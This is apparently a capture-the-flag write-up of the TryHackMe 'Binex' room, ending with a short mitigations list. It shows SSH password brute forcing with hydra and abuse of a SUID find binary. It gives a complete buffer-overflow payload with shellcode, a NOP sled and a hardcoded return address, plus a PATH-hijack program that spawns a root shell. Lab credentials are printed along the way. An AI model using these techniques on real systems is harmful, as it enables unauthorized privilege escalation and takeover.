🔗Binex

Exploiting the SUID bit and a buffer overflow for privesc after brute forcing the initial access.

Reconnaissance

After starting the target box and adding its IP to /etc/hosts as binex.thm we start with a basic TCP Syn scan over all ports. We find 3 open ports:

Using nmap with -sV for version detection we can confirm what applications run on these ports. Namely an OpenSSH server (v7.6p1) and Samba.

nmap -Pn -sS -sV binex.thm -p22,139,445

As there don't seem to be any other services active we can start with some default enumeration for the two services we found. If this yields nothing we could still scan for open UDP ports.

Service Enumeration

Unfortuantely, trying default credentials like root:root fails with SSH so we go straight to enumerating Samba. Though we could try various nmap scripts for enumeration and scanning, we are going to use a separate tool for this.

With enum4linux-ng we are able to find 2 (default system-) shares and 4 valid users.

enum4linux-ng -As -R binex.thm

Valid usernames: tryhackme, kel, des and noentry

Using the answer format of the first question we can assume that tryhackme is the user we are looking for for our initial access.

We know that this room is supposed to focus on binary exploitation so the initial access phase isn't supposed to be very difficult. Hence, we can move on to find a valid password for the user.

Initial Access

At this point we don't have any other available information except a valid username. After trying some default passwords like letmein manually we start hydra to brute force the password of the tryhackme user on the SSH server.

hydra -l tryhackme -P /usr/share/wordlists/rockyou.txt ssh://binex.thm -v -f -t 4

After approximately 15 minutes of brute forcing we finally get a hit!

Valid credentials: tryhackme:thebest

Logging in with the found credentials we can now start looking for a way to gain root.

Privilege Escalation

User: tryhackme

The subtle task title "SUID :: Binary 1" suggests that we are looking for SUID binaries to exploit. However, even if we weren't given this hint - a quick manual enumeration shows: we don't have elevated privileges yet, there is no obvious cronjob placed, the permissions for important files are set to default and there don't seem to be any interesting files lying around in /tmp . We do find an outdated sudo version though (-> Baron Samedit) but let's stick to the intended way.

To look for SUID binaries we could either use a quick find / -perm /4000 2>/dev/null, an automated checker like SUID3NUM or the little more verbose variant of the first command:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Reading the output, two binaries stand out from the rest:

  1. -rwsr-xr-x 1 kel kel 8600 Jan 17 2020 /home/des/bof : This binary resides in des home directory which we can't access as tryhackme.

  2. -rwsr-sr-x 1 des des 238080 Nov 5 2017 /usr/bin/find : This is unusual as find is owned by the user des and usually doesn't come with the SUID bit set.

Using GTFOBins entry on find we can spawn a shell with the euid of the user des and read the first flag.

Together with the first flag we are also given the credentials for the user des so we can switch to a stable SSH session for further privilege escalation.

Valid credentials: des:destructive_72656275696c64

User: des

Now that we are des we have access to that SUID binary we found earlier: bof . This program is owned by the user kel so exploiting it should give us access to yet another user on our way to root.

Being curious, we simply run the executable to see what happens. After being prompted Enter some string and keeping the executable name in mind it seems obvious that we'll have to exploit a buffer overflow. We confirm this by testing the input with a large string. As expected, the application crashes.

Since we are also provided the source code of the application, let's have a look at that before diving into exploitation. (In the second tab I've added some comments to explain the code a little bit.)

#include <stdio.h>
#include <unistd.h>

int foo(){
	char buffer[600];
	int characters_read;
	printf("Enter some string:\n");
	characters_read = read(0, buffer, 1000);
	printf("You entered: %s", buffer);
	return 0;
}

void main(){
	setresuid(geteuid(), geteuid(), geteuid());
    	setresgid(getegid(), getegid(), getegid());

	foo();
}

Basically, putting in a string longer than 600 characters (such as 1000 "A"s) will cause the program to overwrite whatever is on the stack above the buffer variable.

I'm looking forward to do a more detailed writeup on the basic buffer overflow and how it works - so let's focus on just exploiting this binary for now.

One more thing to check for before crafting an exploit is, whether ASLR is activated. We can do this with cat /proc/sys/kernel/randomize_va_space. Since the result shows 0 (disabled) we can safely assume that the binary will always land in the same address space with each execution. This makes it easier for us because we can use hardcoded addresses in our exploit.

Developing an Exploit for a Buffer Overflow

Fortunately, the target comes with gdb preinstalled. Otherwise we could've brought our own tools or analysed the binary at home. For the next steps, it's easiest to have two SSH sessions - one for gdb and one for experimenting / crafting the input.

Finding the Offset of the RIP

First we need to find out at what size of the input the application starts to crash. We already know that it must be larger than 600 bytes. Taking into account the 8 bytes for the integer and 8 bytes for the RBP, we should, in theory, need at max 616 bytes to start overwriting the RIP. But let's assume we didn't know the source code and crash the application with 1000 "A"s to see what happens.

We've successfully overwritten the RBP (and a bunch of other things on the stack) with "A"s. Looking at the saved return value of the RIP for the current frame (with info frame), we can also confirm that we overwrote the return address:

Note that the RIP still points to the return statement of foo (0x55...484e). While trying to load the RIP from the saved value on the stack, the 8 "A"s already generated an exception during the instruction fetch causing the program to crash without gdb seeing the actual update of the RIP value. That's simply due to the fact that on current 64 bit systems the maximum virtual address is 0x7FFFFFFFFFFF (source). So any address above that can't be handled by the CPU. We will see the RIP being loaded correctly once we use valid addresses in the next steps.

Now, to find the actual offset of the RIP or RBP (since they are both right next to each other we only need to find out one), we will use a cyclic pattern as input and check what value ends up in the RBP. Due to the input being a cyclic pattern we can then calculate the exact amount of bytes needed to hit the RBP and RIP.

Here we use cyclic (part of pwntools that does the same as pattern_create.rb and pattern_offset.rb from metasploit_framework ) to create and detect a pattern:

  1. Create a cyclic pattern with length 700

  2. Save the pattern to an input file

  3. Run the application in gdb with the crafted input

  4. Read the value from RBP - How to read this value depends on the endianess which we can check with show endian in gdb. In this case (and most commonly) it's little endian, which means that values are stored LSB first. Hence, when we translate the HEX address to ASCII we get:

    0x6761616467616163 -> ASCII -> gaadgaac -> LSB first -> caagdaag

    Since the address is 8 byte long, but the cyclic tool works with 4 byte patterns, we only need to search for the pattern caag. This gives us an offsett of 608 bytes.

So now we know that exactly after 608 bytes we start overwriting the RBP that's stored on the stack. And once we've overwritten these 8 bytes we start overwriting the 8 bytes of the stored RIP. Thus, we know that we must pad our custom return address with 616 (608 + 8 for RBP) bytes.

Note that the 608 bytes correspond exactly to the size of the buffer + the size of the integer which means the stack layout looks something like this (addresses from high to low): RIP -> RBP -> characters_read -> buffer[600].

Finding a Return Address

Now that we know how to control the RIP (608*"A" + 8*"B" + return_address) we must find a suitable address to insert. Our end goal is to execute custom code; we know that we can write at least 600 bytes on the stack and we also know that ASLR is disabled. Hence, we are going to try the following:

So we are going to point the RIP to an address on the stack with our crafted payload. Let's inspect the stack once we crashed the application with the following input:

python -c 'print("B"+"A"*615+"\xff\xff\xff\xff\xff\x7f\x00\x00")' > input
(gdb) r < input                                              # start
Starting program: /home/des/bof < input
Enter some string:

Program received signal SIGSEGV, Segmentation fault.         # ./bof crashed
0x00007fffffffffff in ?? ()                                  # we overwrote RIP

(gdb) x/78xg $rsp - 624                                      # show the stack 
0x7fffffffe230:	0x4141414141414142	0x4141414141414141   # 0x42 = "B"
0x7fffffffe240:	0x4141414141414141	0x4141414141414141
0x7fffffffe250:	0x4141414141414141	0x4141414141414141
0x7fffffffe260:	0x4141414141414141	0x4141414141414141
0x7fffffffe270:	0x4141414141414141	0x4141414141414141
0x7fffffffe280:	0x4141414141414141	0x4141414141414141
0x7fffffffe290:	0x4141414141414141	0x4141414141414141
0x7fffffffe2a0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2b0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2c0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2d0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2e0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe300:	0x4141414141414141	0x4141414141414141
0x7fffffffe310:	0x4141414141414141	0x4141414141414141
0x7fffffffe320:	0x4141414141414141	0x4141414141414141
0x7fffffffe330:	0x4141414141414141	0x4141414141414141
0x7fffffffe340:	0x4141414141414141	0x4141414141414141
0x7fffffffe350:	0x4141414141414141	0x4141414141414141   # 615 * "A"
0x7fffffffe360:	0x4141414141414141	0x4141414141414141
0x7fffffffe370:	0x4141414141414141	0x4141414141414141
0x7fffffffe380:	0x4141414141414141	0x4141414141414141
0x7fffffffe390:	0x4141414141414141	0x4141414141414141
0x7fffffffe3a0:	0x4141414141414141	0x4141414141414141
0x7fffffffe3b0:	0x4141414141414141	0x4141414141414141
0x7fffffffe3c0:	0x4141414141414141	0x4141414141414141
0x7fffffffe3d0:	0x4141414141414141	0x4141414141414141
0x7fffffffe3e0:	0x4141414141414141	0x4141414141414141
0x7fffffffe3f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe400:	0x4141414141414141	0x4141414141414141
0x7fffffffe410:	0x4141414141414141	0x4141414141414141
0x7fffffffe420:	0x4141414141414141	0x4141414141414141
0x7fffffffe430:	0x4141414141414141	0x4141414141414141
0x7fffffffe440:	0x4141414141414141	0x4141414141414141
0x7fffffffe450:	0x4141414141414141	0x4141414141414141
0x7fffffffe460:	0x4141414141414141	0x4141414141414141
0x7fffffffe470:	0x4141414141414141	0x4141414141414141
0x7fffffffe480:	0x4141414141414141	0x0000027141414141   # note the 0x271
0x7fffffffe490:	0x4141414141414141	0x00007fffffffffff   # overwritten RIP

The left column displays the virtual address on the stack, so we can read that the first byte of our input ("B" for visibility) is placed at the address 0x7fffffffe230 (keep in mind it's little endian).

Saw that 0x00000271 on the stack? Converted to decimal that's 625. This is the return value of the read function that indicates how many bytes were read from stdin. We printed 624 bytes and the python print statement added a \n to complete the input for a total of 625 bytes. Note that, although 8 bytes were reserved for the integer, only 4 bytes were actually used by the responsible assembler instruction.

This is important to keep in mind because it overwrites what we put on the stack, so we shouldn't place our shellcode on this address. (This still leaves us with 600 bytes for our shellcode.)

Having an address to jump to, we can now create the shellcode (assembler instructions that will spawn a shell for us).

Creating the Final Payload

For the shellcode we can either use the one provided in the room or we create our own, for example with msfvenom or shellcraft (pwntools):

shellcraft amd64.linux.execve "/bin///sh" "['sh', '-p']" -f s

We can quickly check the length of the string in python with len("<shellcode>") which in this case returns 68. Theoretically, we could now build a payload like this:

# The return address is now 0x7FFFFFFFE230 and will point right to
# the start of our input, i.e. at the shellcode. The "A"s are for padding.
<shellcode>+ "A"*(616-<len(shellcode)>) +"\x30\xe2\xff\xff\xff\x7f\x00\x00"

# Let's put that in a oneliner to create our input
python -c 'print("jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8ri\x01,q\x01\x01\x01H1\x04\x241\xf6Vj\x0b^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"+ "A"*(616-68) +"\x30\xe2\xff\xff\xff\x7f\x00\x00")' > input 

If we run this in gdb we can see that it works, but we can't interact with the spawned shell from within gdb.

However, if we were to use the same input directly on the binary it would fail with a segmentation fault, simply because running the application outside of the gdb context means a slightly different address space. So the hardcoded address pointing to the first byte of our buffer is slightly off.

We can account for that by using a NOP sled though. Instead of pointing to the first byte, we will choose an address that's predictably somewhere inside our buffer. By filling the space around this address with \x90 (NOP instruction) it doesn't matter if the RIP lands a bit before or after the target address as it will slide along the NOPs until it hits the shellcode.

Since the buffer is pretty large, we can prepend the shellcode with 200 NOPs. Using the start address of the buffer + 128 bytes (0x7fffffffe2a0) should give us enough margin to both sides.

# Final payload: 200 NOPs + shellcode + (padding to a total offset of 616) + RIP
python -c 'print("\x90"*200 + "jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8ri\x01,q\x01\x01\x01H1\x04\x241\xf6Vj\x0b^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"+ "A"*(416-68) +"\xa0\xe2\xff\xff\xff\x7f\x00\x00")' > input

Finally, using the generated input - we get an interactive shell and kels flag.

In order to keep the spawned shell open, add a cat without arguments (waits for input on stdin).

Valid credentials: kel:kelvin_74656d7065726174757265

User: kel

On to the final privilege escalation, we find another SUID binary "exe" and its source code in kels home directory. This one is owned by root so we should be done soon.

The source code immediately reveals the vulnerability:

/* exe.c */
void main()
{
	setuid(0);
	setgid(0);
	system("ps");
}

The program calls ps without specifying the entire path. By creating a custom binary called ps and making sure that this one will be found before the original, we can execute code as root. All that's left to do is to create an executable that spawns a shell for example, rename it to ps, place it in the current directory, add the current directory to the PATH variable and execute exe .

/* ps.c */
// Compile with gcc ps.c -o ps
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(void) {
	setuid(0);
	setgid(0);
	system("/bin/bash -p");
	return 0;
}

Finally, we get a shell as root and can read the last flag.

Mitigations

During this box we found multiple weak points that could easily be fixed:

  • Weak password for the user tryhackme

  • A binary with unnecessary and unsafe permissions (for example find should be owned by root and must not be given the SUID permission)

  • Unsafe C-code (do not read from or write to memory without proper safety checks)

  • More unsafe code (properly specify binaries including their full path when calling them)

Last updated